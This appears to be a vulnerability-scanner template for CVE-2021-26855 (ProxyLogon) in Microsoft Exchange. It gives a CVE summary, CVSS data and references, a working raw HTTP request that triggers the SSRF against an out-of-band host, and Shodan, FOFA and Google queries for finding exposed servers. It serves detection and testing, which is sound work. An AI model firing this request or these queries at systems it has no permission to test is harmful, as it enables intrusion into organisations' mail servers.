This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
PoC
id: CVE-2021-26855
info:
name: Microsoft Exchange Server SSRF Vulnerability
author: madrobot
severity: critical
description: This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or further compromise of the affected system.
remediation: Apply the appropriate security update.
reference:
- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
- https://proxylogon.com/#timeline
- https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2021-26855
cwe-id: CWE-918
epss-score: 0.99996
epss-percentile: 0.99989
cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microsoft
product: exchange_server
shodan-query:
- vuln:CVE-2021-26855
- http.favicon.hash:1768726119
- http.title:"outlook"
- cpe:"cpe:2.3:a:microsoft:exchange_server"
fofa-query:
- title="outlook"
- icon_hash=1768726119
google-query: intitle:"outlook"
tags: cve2021,cve,ssrf,rce,exchange,oast,microsoft,kev,vkev,vuln
http:
- raw:
- |
GET /owa/auth/x.js HTTP/1.1
Host: {{Hostname}}
Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a0047304502200a42cec7d24dac85b5020977fac5eef729e74a2ab4223078ba2783b053fa35c3022100a1af17eb9da1613806cfa60950bcc013ea5c2e6225cb7d5a2a6cedba8fd4c184:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.